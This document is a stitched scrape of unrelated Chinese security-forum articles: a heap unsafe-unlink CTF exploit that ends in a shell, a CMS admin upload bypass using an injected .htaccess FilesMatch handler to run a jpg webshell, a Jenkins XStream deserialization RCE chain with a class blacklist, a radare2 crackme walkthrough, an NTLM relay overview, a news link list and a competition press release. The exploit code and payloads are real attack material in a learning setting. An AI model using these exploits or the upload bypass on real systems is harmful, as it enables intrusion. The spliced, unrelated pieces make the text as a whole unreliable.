write("2","144",p64(0)+p64(0x80)+p64(global_ptr-3*sizeofint)+p64(global_ptr-2*sizeofint)+'a'*96+p64(0x80)+p64(0x90)) ##wirte chunk2 heap overflow
free("3") #unlink
Unlink之后，修改全局变量global_ptr
gef➤ x/20xg 0x602140
0x602140: 0x0000000000000000 0x00000000026be020
0x602150: 0x0000000000602138<-- global ptr 0x0000000000000000
0x602160: 0x00000000026be5e0 0x0000000000000000
**报错解答**
unlink的时候还有一个需要检查的部分是，chunk2（/fake_chunk）的size和chunk3的pre siz是否匹配。pre
size的位置在chunk_header的位置，即`&size-8`的位置。
所以既然能够控制pre size，我们也就不局限于使用chunk2了，我们可以在chunk2中构建一个fake chunk。
*** Error in `./stkof': corrupted size vs. prev_size: 0x0000000001f144af
**Get Shell**
此时我们可以通过修改chunk1的指针，来实现无限次数的任意地址写(只要我们不一不小心修改chunk3的指针
def write_anywhere(addr,size,strs):
write("2","24",p64(1)*2+p64(addr))
write("1",size,strs)
write_anywhere(0x6021a8,"8",p64(0x1234567)) #example
将free的got表项改为put，这样还实现了任意地址写
write_anywhere(0x602018,"8",p64(0x400766)) # free_got->put_got
def read_anywhere(addr):
write("2","24",p64(1)*2+p64(addr))
free("1")
read_anywhere(0x602020) #example
通过pust函数来 _Leak Address_ ，计算出libc的地址
read_anywhere(0x602020)
p.recv(0x37)
libc_base=u64(p.recv(6).ljust(8,"x00"))-0x6f690
print "libc_base="+hex(libc_base)
最后，直接用one_gadget”解决战斗”。
one_gadget=0xf02a4
write_anywhere(0x602018,"8",p64(one_gadget+libc_base))
print "[+] one_gadget="+hex(one_gadget+libc_base)
free("1")
Getshell
process 10908 is executing new program: /bin/dash
$ whoami
migraine
## 小结
Unsafe_Unlink在原理上是非常简单的一种攻击手段，关键点并不在漏洞本身，Unlink技术的有趣之处在于它扩充了攻击面。例如在[上一篇文章](https://www.anquanke.com/post/id/193132)中的consolidate手段在没有unlink的情况下是很难完成一次利用的（也许），同时unlink也需要一些条件，这样就很容易形成两个手段相结合的技术，这样的题目就会非常有趣。（Hack
for fun！） | 社区文章 |
**写在前面**
又来学习了，师傅们都太卷了，我这样的菜鸡只能挣扎一下
**正文**
很少看大的cms，一是被大佬们挖的差不多了，基本上没什么希望，二是能力有限，大的cms基本上就是看看别人的审计，学习一下别人的思路和技巧，自己也就找找冷门的开刀。
前台直接跳过，从后台看，然后这里的类似删除、文章显示什么的都是通过数据库，没看到直接访问路径什么的，也就没找到目录穿越这种问题，可能自己看得不仔细。
后台的话，不能getshell的洞感觉都没什么价值了，不过也有任意文件删除，删除install.lock配合重装网站写马这种的话当我没说。
在某cms后台找到个上传绕过，已提交（后来发现cnvd有人交了，但不知道是不是撞了）。
在设置-链接设置-伪静态设置中apache模块中可以设置.htaccess：
看到这个，打过ctf的都懂了（我没打过），看能不能编辑这个内容绕过一波
在源码中找到对应处：
发现只有一个$cfg['webdir']，往回走发现$cfg = $this->kv->xget('cfg');
看下这个$this->kv->xget('cfg');
全局搜索xget函数，发现这是个数据库操作的相关函数：
那么$this->kv->xget('cfg')就是从tw_kv表中取cfg的数据：
看看能不能写入这个值。在当前setting_control.class.php中搜索webdir：
发现index()下$this->kv->xset('webdir', R('webdir', 'P'), 'cfg');
结合前面分析，这个应该就是写入操作，那么跟进一下R():
就是获取变量值。
那么利用如下：
基本设置-所在目录保存然后在webdir添加：
</IfModule>
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
<IfModule mod_rewrite.c>
改完后生成.htaccess
然后在 我的-发布文章-上传缩略图中上传一个内容为shell，的jpg 文件
然后复制图像链接
去掉链接中的_thumb，如下：
127.0.0.1/TWCMS/upload/article/202201/30/15132861f63a98cb20085eyPl.jpg
这里去_thumb的原因是上传图片后会添加一个_thumb：
**结尾**
我好菜，师傅们带带我。。。。。。 | 社区文章 |
# 【知识】7月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
【国际资讯】瑞典海量公民信息泄露，隐私安全谁来保护？、补天沙龙南京站—Java代码审计PPT、Zigfrid：被动RFID模糊测试工具、一款基于PHP的漏洞扫描器、针对Juniper
Dual EC事件系统的系统性分析、利用软件无线电构建5G无线通信平台、如何通过画图工具访问命令提示符 ******
**
**
**资讯类：**
【国际资讯】瑞典海量公民信息泄露，隐私安全谁来保护？
<http://bobao.360.cn/news/detail/4236.html>
SLocker Android勒索软件（一款迷你的WannaCry）源码公开在Github上
<http://thehackernews.com/2017/07/android-ransomware-source-code.html>
<https://github.com/fs0c1ety/SLocker>
神秘的Mac恶意软件已感染受害者多年
<https://motherboard.vice.com/en_us/article/zmv79w/mysterious-mac-malware-has-infected-hundreds-of-victims-for-years>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Web Sight社区版 – 企业攻击面枚举工具
[https://l.avala.mp/?p=209](https://l.avala.mp/?p=209)
补天沙龙南京站—Java代码审计PPT
<https://xianzhi.aliyun.com/forum/read/1904.html>
软件版双因子认证安全性分析
<https://githubengineering.com/soft-u2f/>
Zigfrid：被动RFID模糊测试工具
<https://z4ziggy.wordpress.com/2017/07/21/zigfrid-a-passive-rfid-fuzzer/>
Bright City: 针对国外一款市政相关APP的安全性分析
<https://randywestergren.com/bright-city-highly-insecure-police-municipal-government-app/>
Zydis v2.0 alpha发布！（Zydis是一款x86反汇编工具）
<https://zyantific.com/blog/zydis-v2-0-alpha-out-now/>
Flow Ambiguity: A Path Towards Classically Driven Blind Quantum Computation
<https://journals.aps.org/prx/abstract/10.1103/PhysRevX.7.031004>
Wi-Fi Cracking：通过Airodump-ng、Aircrack-ng和Hashcat破解 WPA/WPA2 Wi-Fi路由器
<https://github.com/brannondorsey/wifi-cracking>
一款基于PHP的漏洞扫描器
<https://github.com/dermotblair/webvulscan>
Nitro PDF Pro <= 11.0.3.173 JavaScript API远程代码执行漏洞
<https://gist.github.com/stevenseeley/725c6c0be2ff76494c23db730fd30b6d>
信任问题：利用TrustZone TEE
<https://googleprojectzero.blogspot.com/2017/07/trust-issues-exploiting-trustzone-tees.html>
针对Juniper Dual EC后门事件的系统性分析
<https://www.ietf.org/proceedings/99/slides/slides-99-irtfopen-anrp-stephen-checkoway-a-systematic-analysis-of-the-juniper-dual-ec-incident-00.pdf>
Finding Domain frontable Azure domains
<https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html>
利用软件无线电构建5G无线通信平台
<http://download.ni.com/pub/branches/china/Wireless_Research_Handbook_zhs.pdf>
WebKit: use-after-free in
WebCore::AccessibilityRenderObject::handleAriaExpandedChanged
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1245>
如何通过画图工具访问命令提示符
<https://infamoussyn.com/2013/03/19/gain-command-prompt-access-via-mspaint/>
FreeRDP存在多个漏洞
<http://blog.talosintelligence.com/2017/07/vulnerbility-spotlight-freerdp-multiple.html>
如何在Mac OSX上安装和使用HDSDR
<https://k1fm.us/2015/10/hdsdr-on-osx-the-easy-way-reloaded/> | 社区文章 |
# jenkins 2.101 XStream rce 挖掘思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是一个未公开的利用思路，仅仅做技术思路分享
现在大多数 java 程序或者框架，都对反序列化漏洞有一定的防范措施，这篇文章主要是想要分享在黑名单限制非常严格的情况下，如何拿到一个反序列化的 rce
在以前开始学习 java 反序列化漏洞的时候，着重分析过 rmi
相关这类利用手法，因为自己搭建环境贼麻烦，还需要服务器进行一个外部资源请求（当然可以不用，也可以直接在服务器上新开一个端口接受攻击端的下一利用环节，但是成功率不高），所以就比较讨厌需要依赖
rmi、 ldap、 jndi 之类的触发链
目标：不依赖加载远程类的方式拿到 Jenkins 反序列化 rce，一发入魂
先去看看它的黑名单
## 反序列化黑名单
这是从 Jenkins 2.101 版本中取到的
"^bsh[.].*",
"^com[.]google[.]inject[.].*",
"^com[.]mchange[.]v2[.]c3p0[.].*",
"^com[.]sun[.]jndi[.].*",
"^com[.]sun[.]corba[.].*",
"^com[.]sun[.]javafx[.].*",
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",
"^java[.]awt[.].*",
"^java[.]lang[.]reflect[.]Method$",
"^java[.]rmi[.].*",
"^javax[.]management[.].*",
"^javax[.]naming[.].*",
"^javax[.]script[.].*",
"^javax[.]swing[.].*",
"^net[.]sf[.]json[.].*",
"^org[.]apache[.]commons[.]beanutils[.].*",
"^org[.]apache[.]commons[.]collections[.]functors[.].*",
"^org[.]apache[.]myfaces[.].*",
"^org[.]apache[.]wicket[.].*",
".*org[.]apache[.]xalan.*",
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*",
"^org[.]python[.].*",
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*",
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*",
"^java[.]util[.]ServiceLoader$",
"^java[.]net[.]URLClassLoader$",
"^java[.]security[.]SignedObject$
对反序列化稍有研究的大佬们应该就明白，这个黑名单拦截的还是比较全的，直接将 package 拦截，或者定点拦截一些组合触发链关键点，比如
net.sf.json 、javax.rmi 等等，此类都是不能直接利用反序列化进行命令执行，json 可以调用 getter 和 setter 、 rmi
可以加载远程类等。虽然还有很多其他三方包有类似功能的，但是并没有在 Jenkins
中使用，当然插件自身依赖的包我们就不讨论了，总的来说，这个反序列化的黑名单对于 Jenkins 本身来说已经很安全了。
## 反序列化 != readObject
基于jdk支持的序列化方式有两大限制：
1\. 继承关系
2\. 反序列化实现过程
继承关系就是，需要实现 Serializable 或 Externalizable ，实现过程就主要看 readObject 和readExternal
的函数具体流程了
其中第一个继承关系的限制呢，从另一个角度来说，也是方便了exp利用链的构造，因为整个序列化和反序列化的过程，自己不用关心，仅仅需要从反序列化实现过程开始寻找利用点
但是 Jenkins 的反序列化黑名单有点过于严格，还需要考虑黑名单的问题，就使得这整个利用链的构造难上加难，已知的利用链已经全不能用了
于此同时我一直在搜索 Jenkins rce 相关信息，了解到 Jenkins 使用 XStream 对 xml 进行反序列化，稍微查询了下 XStream
的相关功效，发现和 json 相关的序列化工具差不多，不过解析的是 xml 而不是 json，同时有了一个好处，它不用再去实现 Serializable 和
Externalizable 这俩接口，可以一定程度的实现任意类的序列化与反序列化
那么利用链的构造情况就会发生变化，主要瞄准 XStream 相关的反序列化利用方式，除了一些最古老的利用方式（已经被XStream所修补），就只剩下
java.util.PriorityQueue 和 HashMap 这俩了（当然会有其他的，我见识少就只找到这两个2333）
不过在已知的 java.util.PriorityQueue 这个入口利用方式上，还是走的 ldap
过去加载远程类，利用链已经被黑名单毙掉了……（可能有其他利用姿势，我没有去深入研究）
## 分析下 HashMap 的利用
目前来说，走反序列化路线，jdk原生序列化功能pass调，jenkins 剩下 XStream 可以利用，其中我们也得到了一个 HashMap 这个入口点
不熟悉 HashMap 利用方式的大哥们（其实和其他的 Map 类差不多一个意思，只是 XStream 里好像对 map 默认是 HashMap
操作的），我可以先稍微解释下。
主要是用到了 map 结构存储的时候，对各个键值对进行 key 的一个比较（可以理解为比较 key 的重复性），在比较的过程中，就调用了 equals 函数
这个 equals
函数还是有点讲究的，各种类中只要实现了这个函数的，一般是要做类型对比，或者是一些计算对比结果，那么在这个对比中就会存在其他利用点的地方（因为存在了其他的函数调用）。与此同时，toString
和 hashCode 这两个函数的实现对利用链能否构造成功来说也有很大的关系，因为在调用 equals 之前，map 中首先会调用 key 的
hashCode 函数，然后通过计算与 map 中已经存储的 key 值作比较，在两者的计算结果相等的时候，才会调用 **key2.equals( key1
)** 。 一般来说， hashCode 这个函数返回的都是当前对象在 jvm 中堆上的内存地址，除非重写 hashCode 函数实现，但是有个例外，就是
String 类型的 hashCode，它可以满足这个不同 jvm 返回值相同的条件，不过具体的我没太过深入。
那么一个对象 和 String 这个类挂钩最多的就是，toString 函数
所以 hashCode 、 toString 、 equals 这三者纠缠不清2333
千万不要以为，非得是先 map 中触发 hashCode ，两个 key 的 hash 相等，然后触发 equals ，最后触发 toString
的。这期间很复杂，可能在这三个函数中嵌套利用，跳过去跳过来的，因为他们三个函数太常见了，并且在反序列化流程中不止一次会被调用到
## 一个新思路
从上文中能够总结出，尽量找 jdk、jre 中的触发链，尽量不利用ldap、rmi这类需要进行外部资源请求的利用点，最后依靠 XStream
的反序列化能力搞事
在 freebuf 上看过一个 java 相关的代码执行利用思路
DefineClass：<https://www.freebuf.com/articles/others-articles/167932.html>
这篇文章中，对 BCEL 的利用让我长见识了，转念一想，这个过程其实和反序列化的核心思路也是一样的，用户掌控了程序的执行方向。Class.forName
这种调用在 jdk 、 jre 中并不少见，况且 bcel 相关没有被写入黑名单中
bcelClassLoader 可以解析经过 bcel 编码过的字符串并加载指定类，如果 Class.forName 中的第二位参数为 true
，就支持加载类的初始化，类的初始化涉及到 static 代码块的执行，我们就可以在其中搞事情2333
我就在思考如何利用 XStream + Class.forName 这两个结合起来搞事情…..
终于找到了一个类：com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator
其中的 next 函数如下：
如上图红框里，就是调用了 Class.forName 并且第二个代表初始化参数值为 true，并且传入的 cn 和 this.loader
参数都是在反序列化过程中可控的。同时呢，Iterator 这种类别在 java 中特别常见，迭代器的身份也使得 next 函数被调用的概率非常大
## 触发链
首先经过的是 XStream 可设置的黑/白名单
1.4.7 版本以后 allowTypes 和 Permission 都是白名单过滤，denyTypes 是黑名单过滤
而 Jenkins 使用的方法是设置 converter 的优先级，可以达到黑名单过滤的作用，可能是功能点太多，设置白名单不太合适，最终还是选择设置的黑名单
绕过黑名单
->
jdk.nashorn.internal.objects.NativeString#hashCode
->
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
->
javax.crypto.CipherInputStream#read
->
Javax.crypto.Cipher#chooseFirstProvider
->
com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator#next
->
Java.lang.Class#forName
->
com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
最后就是初始化动态加载类，然后执行恶意类的 static 代码块造成了任意代码执行
## 效果
虽然有交互过程，也需要一定的低权限，可是还是可以一发入魂啊
## 总结
反序列化漏洞一直都存在，不过自从15年公开了通用利用链至今，各大流行第三方依赖、流行软件甚至oracle官方都在想尽办法修补漏洞或者提高漏洞利用难度
此时想要在主流软件上挖掘java反序列化rce漏洞，需要更有耐心的去理解程序设计，更细心的去对各种依赖进行审查
这篇文章中就是利用了 Jenkins 使用了 XStream 为突破口，学习到了 loadClass 动态加载类的新思路，两者结合起来，巧妙的躲开了
Jenkins 非常严格的反序列化黑名单过滤
## 链接
<https://www.freebuf.com/articles/others-articles/167932.html>
<https://www.freebuf.com/vuls/97659.html> | 社区文章 |
# iDASH 2022隐私计算大赛——字节跳动Jeddak Team获得佳绩
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，第九届iDASH国际隐私计算竞赛落下帷幕，字节跳动安全研究独立组队-Jeddak
Team，首次参加了可信计算和区块链两个赛道的角逐。在为期4个月的赛题准备和组委会官方评估后，Jeddak提交的可信隐私计算解决方案从众多参赛队伍中脱颖而出、入围前三。
## iDASH 2022大赛概览
iDASH是数据隐私与安全计算领域的国际最高规格竞赛，由美国国立卫生研究院（NIH）主办，历年来吸引了全球顶尖高校和科技公司的积极参与。今年包括有美国耶鲁大学、加州大学圣迭戈分校、瑞士联邦理工、德国慕尼黑工业大学、新加坡南洋理工、浙江大学，以及英特尔、三星、腾讯、阿里巴巴、蚂蚁金服等来自14个国家、共计81支队伍的激烈角逐。
此次比赛设置了可信计算、区块链、同态加密、多方安全计算共4个赛道，组委会根据各赛题场景筛选出满足要求的方案设计和代码实现，然后从性能、精度等指标维度对各参赛队进行排名。Jeddak
Team 分别获得可信计算赛道第二名、区块链赛道第三名的好成绩。作为Best-Performing Team，团队成员还受邀在iDASH Workshop
2022上展示了参赛方案。
## 可信计算赛道揭秘
可信计算的赛题是对单细胞转录组学数据进行安全分类，目标是为了检测可信执行环境实施并行训练的可扩展性：要求使用多个飞地（Enclave）来对单细胞数据进行分类训练，并且为了模拟云中的弹性计算环境，比赛规定每个飞地最多使用8个线程来进行训练，最后按照分类准确率和耗时对各参赛队伍进行排名；同时要求在分类过程中，任何输入、中间和输出数据都不能泄露。本次比赛主要考察可信计算系统的设计与优化水平。
为此，我们对现有主流分类算法做了调研，最终选取DPMM算法因其优秀的分类正确性和计算效率；同时，创新性地提出了一系列方法手段来提升分类的性能，例如：
* · 加解密阶段使用共享内存。在非可信环境加密数据时，将结果直接落到共享内存中，这样飞地里的线程便可以直接读取加密数据并解密，节省了一次OCALL操作和一次内存复制操作。
* · 动态加载飞地。分配给飞地的可信内存越大，加载飞地的效率就会越低，于是根据数据集的大小预估所需可信内存的大小，然后从事先生成的、不同大小可信内存的二进制文件中选取最合适者，实现动态加载飞地，从而减少加载时间。
* · 线程池的使用。在飞地里面的计算任务会被写到一个任务队列，线程池的线程通过ECALL进入飞地后，便会一直监听任务队列：有任务则取出来执行、直到算法结束才将线程销毁。这样在分类时，便不会有可信环境与非可信环境的转换，同时避免了频繁地创建线程。
* · 设计收敛判断逻辑。DPMM算法只支持固定轮数的训练，在一些收敛特别快的数据集上会导致性能变差，于是增加了收敛判断逻辑，一旦算法判断收敛便将任务提前终止。
根据主办方的评估，我们的方案在仅使用2个飞地的情况下，耗时8.8秒就完成18900个样本分类，其ARI也在所有参赛队伍中保持了较高水平。此外，需要特别指出的是，Jeddak方案在更大样本规模（200k）的测试条件下，依然可以保证极高的性能和准确率。
凭借着上述创新，最终在该赛道的18支参赛队伍中获得了第2名的好成绩。与蚂蚁链、阿里安全双子座实验室、腾讯Angel PowerFL共同入选Best-Performing Teams。
## 区块链赛道揭秘
区块链赛道的题目和要求是，使用Ethereum
Solidity智能合约语言设计出高效的数据结构和算法，来存储和检索生物医学证书。证书在插入时被划分为多个15K的分块数据，而这些数据和对应的元数据都要上链；同时，设置有两个查询函数，分别要求根据查询条件来返回满足的元数据信息和最近的证书内容。最后会评估查询结果的正确性，以及插入操作和两个查询函数的性能。
为此，我们给出了一系列优化设计和实现。例如，在插入证书元数据和证书内容时，均采用哈希表存储上链；另外，为了快速查询而使用了额外4个mapping（typeFiles，courseFiles，unameFiles、以及typeCourseFiles），用于存储查询字段到证书文件名列表的映射。
查询优化的一个创新举措是：根据证书数据分布，优先使用最具标识性的字段进行过滤，从而将多通配符条件下可能的匹配证书锁定在一个较小范围，提高了查询匹配效率。此外，对于给定gaslimit条件下组装恢复大文件的挑战，我们采用分组拼接、以取替迭代拼接的方式，解决了因内存拷贝次数过多而导致gas使用超限的问题。
根据主办方的评估，我们方案的平均插入时间和两类查询的执行时间均十分高效。最终在该赛道34支参赛队伍中获得了第3名的好成绩。与耶鲁大学、蚂蚁链共同入选Best-Performing Teams。
关于本次比赛的更多详细信息以及对应参赛作品的介绍视频和幻灯片材料，请大家参考赛事官网：
[http://www.humangenomeprivacy.org/2022/。](http://www.humangenomeprivacy.org/2022/%E3%80%82)
## Jeddak数据安全沙箱
此次Jeddak
Team参赛所使用的核心技术均源于自研的Jeddak数据安全沙箱，是构建在可信执行环境和区块链基础上的数据计算平台。适用于多方数据融合的隐私计算应用场景：既能够联合多个数据提供方进行协同计算、打通“数据孤岛”发挥数据价值；又能够满足数据“可用不可见”的安全合规要求。从而实现了计算过程中数据的隐私保护、审计溯源和防篡改，为数据的可信应用及其互联互通提供了行之有效的解决方案。目前，Jeddak数据安全沙箱已通过火山引擎对外提供服务，包括数据复杂处理、联合分析、联合建模与预测，以及隐私集合求交PSI、匿踪查询PIR、机密数据库查询SQL等功能应用。在云端代理计算、数据合规计算、分布式计算等多类场景模式下，为用户挖掘和创造更多数据价值。 | 社区文章 |
### 前言
前文讲了一些 `radare2` 的特性相关的操作方法。本文以一个 `crackme` 来具体介绍下 `radare2` 的使用
程序的地址： [在这里](https://gitee.com/hac425/blog_data/blob/master/crackme0x03)
### 正文
首先使用 `radare2` 加载该程序。使用了 `aaa` 分析了程序中的所有函数。使用 `iI` 查看二进制文件的信息。可以看到是 `32` 位的。
使用 `aaa`分析完程序后，可以使用 `afl` 查看所有的函数。
直接跳到 `main` 函数看看逻辑
不习惯看文本模式的汇编的话，可以使用 `VV` 进入图形化模式
拿到个程序，我会首先看函数调用理解程序的大概流程。比如这里先调用了 `printf` 打印了一些提示信息，然后使用 `scanf` 获取我们的输入，分析
`scanf`的参数
| 0x080484cc 8d45fc lea eax, [local_4h]
| 0x080484cf 89442404 mov dword [local_4h_2], eax
| 0x080484d3 c70424348604. mov dword [esp], 0x8048634 ; [0x8048634:4]=0x6425
| 0x080484da e851feffff call sym.imp.scanf ; int scanf(const char *format)
我们可以知道`0x8048634` 是我们的第一个参数, `local_4h`是我们的第二个参数。看看 `0x8048634`存放的是什么。
所以程序需要我们输入的是一个 整数，然后把它存在 `local_4h`里面了。那我们就可以把 `local_4h` 变量改下名字。这里改成 `input`
继续往下看发现 `input` 变量后来没有被处理直接传到了 `test` 函数。他的第二个参数是这样生成的
为了获得这个参数我们有很多方法，比如 我们可以直接静态分析，或者用 `gdb` 调试这都很容易得到结果。
这里正好试试 `radare`
的模拟执行功能。使用该功能我们需要先分析要模拟执行的代码对环境的依赖，比如寄存器的值，内存的值等，然后根据依赖关系修改内存和寄存器的值来满足代码运行的上下文。
在这里这段代码只对栈的内存进行了处理。那我们就先分配一块内存，然后用 `esp`
刚刚分配的内存。由于这里一开始没有对内存数据进行读取，所以我们直接使用分配的内存就好，不用对他进行处理。
首先我们跳到目标地址，然后使用 `aei` 或者 `aeip` 初始化虚拟机堆栈，然后使用 `aer` 查看寄存器状态。
然后分配一块内存作为栈内存，给程序模拟执行用。
在 `0xff0000` 分配了 `0x40000` 大小的内存。然后把 `esp` 和 `ebp` 指到这块内存里面。
然后我们让模拟器运行到 `0x0804850c` 也就是调用 `test` 函数的位置处，查看他的参数，可以看到第二个参数的值就是 `0x00052b24`
最后我们进去 `test` 函数里面看看
就是判断 `参数一` 和 `参数二` 是否一致，所以这个 `crackme` 的 `key` 就是 `0x00052b24` 十进制数表示
`338724`.
成功
### 总结
`radare2` 的模拟执行功能是通过 `esil` 来实现的，粗略的试了一下感觉还是挺不错的感觉和 `unicorn`
有的一拼，不过`radare2`也是有 `unicorn`的插件的。
参考：
<http://radare.org/r/talks.html>
<https://github.com/radare/radare2book>
<https://codeload.github.com/radareorg/r2con/> | 社区文章 |
# Windows内网协议学习NTLM篇之漏洞概述
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者: daiker@360RedTeam
## 0x00 前言
这是NTLM篇的最后一篇文章了，在之前已经花了三篇文章阐述了跟NTLMRelay有关的方方面面的内容。在这篇文章里面将要介绍下签名，他决定了NTLMRelay能不能利用成功。以及我们将会介绍跟NTLMRelay相关的一些漏洞,MS08-068,MS16-074,CVE-2015-0005,CVE2019-1040,CVE-2019-1384，将整个NTLMRelay漏洞利用串起来。在之后阐述NTLM_Relay漏洞利用链的时候，我们会主要从一下三方面阐述。
1. 怎么发起ntlm请求
2. 拿到ntlm 请求之后要做什么
3. 服务端是否要求签名
## 0x01 SMB签名 以及LDAP签名
### 1\. 关于签名的一点细节
当认证完毕之后，使用一个客户端和服务端都知道的key
对后续所有的操作进行加密，攻击者由于没有key，也没法对内容进行加密解密，所以也就没办法进行Relay,最多只能将流量原封不动转发过去。那这个key是什么呢。之前在网上看到的一个说法就是这个key是sessionkey，需要使用用户hash去生成，攻击者没有用户hash(有也就不需要Relay了，直接pth多好)，所以没有sessionkey,也就是没办法加解密，这个时候签名也就起到了防御Relay的效果。
这种解释也没错，都说得通。直到有一天，我跟@xianyu师傅，在winrm的流量中发现了一个字段，sessionkey。高兴了很久，以为是微软的疏忽泄漏了sessionkey，那不就可以跟CVE-2015-0005一样绕过了签名从而进行relay了嘛。但是在进行一番研究之后，发现事情好像没有这么简单。在整个签名环节并非只有一个key。下面详细介绍下三个key，比较绕，大家大致理解下。(对于3个key的命名，不可地方表述不同)
1. exportedsessionkey
def get_random_export_session_key():
return os.urandom(16)
这个key是随机数。如果开启签名的话，客户端和服务端是用这个做为key进行签名的。
2. keyexchangekey
这个key使用用户密码，Server Challenge,Client Challenge经过一定运算得到的。
3. encryptedrandomsession_key
前面说过开启签名的话，客户端是使用exportedsessionkey做为key进行加密解密的，而exportedsessionkey是客户端生成的随机数，那服务端不知道这个key。这个时候就需要协商密钥。encryptedrandomsessionkey的生成如下图所示，使用keyexchangekey做为Key,RC4加密算法加密exportedsessionkey。
encryptedrandomsessionkey在流量显示是 Session
Key.这个是公开的，在流量里面传输给服务端，服务端拿到这个的话，跟keyexchangekey一起运算得到exportedsessionkey，然后使用exportedsessionkey进行加解密。
对于攻击者，由于没有用户hash，也就没办法生成keyexchangekey，虽然在流量里面能够拿到encryptedrandomsessionkey，但是没有keyexchangekey，也就没办法运算出exportedsession_key，也就没法对流量进行加解密。从而进行Relay。
### 2\. SMB 签名
有些地方表述为个人pc
默认没有开启smb签名，服务器计算机默认开启smb签名，在我实际测试中发现这个说法是不正确。在域内的默认设置是仅在域控制器上启用，域成员机器并没有启用。
### 3\. LDAP 签名
在默认情况底下，ldap服务器就在域控里面，而且默认策略就是协商签名。而不是强制签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。(客户端分情况，如果是smb协议的话，默认要求签名的，如果是webadv或者http协议，是不要求签名的)微软公司于
2019-09-11 日发布相关通告称微软计划于 2020 年 1 月发布安全更新。为了提升域控制器的安全性，该安全更新将强制开启所有域控制器上 LDAP
channel binding 与 LDAP signing 功能。
## 0x02 漏洞概览
### 1\. MS08-068
在这之前，当拿到用户的smb请求之后，最直接的就是把请求Relay回用户本身，即Reflect。从而控制机子本身。漏洞危害特别高。微软在kb957097补丁里面通过修改SMB身份验证答复的验证方式来防止凭据重播，从而解决了该漏洞。防止凭据重播的做法如下:
主机A向主机B(访问\\\B)进行SMB认证的时候，将pszTargetName设置为cifs/B,然后在type
2拿到主机B发送Challenge之后，在lsass里面缓存(Challenge,cifs/B)。
然后主机B在拿到主机A的type 3之后，会去lsass里面有没有缓存(Challenge,cifs/b)，如果存在缓存，那么认证失败。
这种情况底下，如果主机B和主机A是不同的主机的话，那lsass里面就不会缓存(Challenge,cifs/B)。如果是同一台主机的话，那lsass里面肯定有缓存，这个时候就会认证失败。
### 2\. CVE-2015-0005
本文前面说过，在签名的情况底下。对于攻击者，由于没有用户hash，也就没办法生成keyexchangekey，虽然在流量里面能够拿到encryptedrandomsessionkey，但是没有keyexchangekey，也就没办法算出exportedsession_key，也就没法对流量进行加解密。从而进行Relay。
攻击者一旦拿到keyexchangekey的话，就可以进行Relay。而CVE-2015-0005正好是泄漏了这个key，因此这里单独拿出来说说。
之前的文章说过，在域内进行NTLMRELAY的时候，如果登录的用户是域用户，这个时候认证服务器本地是没有域用户的hash的，这个时候会通过NETLOGON把type
1,type 2,type
3全部发给域控，让域控去判断。并不是向域控索要域用户的hash。那在认证之后，由于没有用户的hash，也没有办法算出keyexchangekey，这个时候认证服务器就会通过NETLOGON去找域控索要keyexchangekey。从而算出exportedsession_key。
但是这个漏洞就出在，不是只有认证服务器才能找域控索要keyexchangekey，只要是机器用户来索要keyexchangekey，域控都会给，并没有做鉴权。我们拥有一个机器用户的话，可以去找域控索要keyexchangekey，然后跟流量里面的encryptedrandomsessionkey算出exportedsessionkey，使用exportedsession_key进行加解密。
对于该漏洞，在impacket的smbrelayx.py已经集成
不需要指定额外的参数，当发现服务端要求进行签名的时候就会自动调用(当然，需要指定一个机器用户以及他的凭据，不然漏洞无法利用)
### 3\. MS16-075
这个漏洞也叫Hot Potato，从这个漏洞引申出很多Potato，比如Rotten Potato，Ghost potato。
这是一个典型的NTLM_RELAY利用链。按照Relay的一般流程，我们从三方面着手，将思路串起来，达到本地提权的效果。
1. 怎么发起ntlm请求
发起ntlm请求请求的方式我们最早在[Windows内网协议学习NTLM篇之发起NTLM请求](https://www.anquanke.com/post/id/193493#h3-15)里面已经说过，就是配合NBNS投毒欺骗和伪造WPAD代理服务器拿到用户的Net-NTML
hash，所有的HTTP请求将会被重定向至“http://localhost/GETHASHESxxxxx””，其中的xxxxx表示的是某些唯一标识符。将会影响目标主机中所有的用户，包括管理员账户和系统账户。更多关于NBNS和wpad的细节，在之前的文章已经说过了，这里不再赘述。
2. 拿到ntlm 请求之后要做什么
MS08-068虽然限制了同台主机之间smb到smb的Relay，但是并没有限制从http到smb，我们配置配合NBNS投毒欺骗和伪造WPAD代理服务器拿到的ntlm请求说http的形式，我们可以直接relay
到本机的smb。
3. 服务端是否要求签名
我们Relay到的服务端协议是smb，除非是域内的域控，不然在工作组环节底下，或者域内的域成员机器，都是不要求签名的。
### 4\. CVE-2018-8581
这个漏洞最早是一个SSRF漏洞。可以访问任意用户的邮件。
该漏洞由SSRF漏洞结合NTLM_RELAY可以访问任意用户的邮件，获取域管权限。按照Relay的一般流程，我们从三方面着手，将思路串起来，从而达到获取域管的效果。
1. 怎么发起ntlm请求
Exchange允许任何用户为推送订阅指定所需的URL，服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用[CredentialCache.DefaultCredentials](https://docs.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultcredentials)进行连接。传进的URL我们可控，也就说我们可以控制Exchange服务器向我们发起HTTP
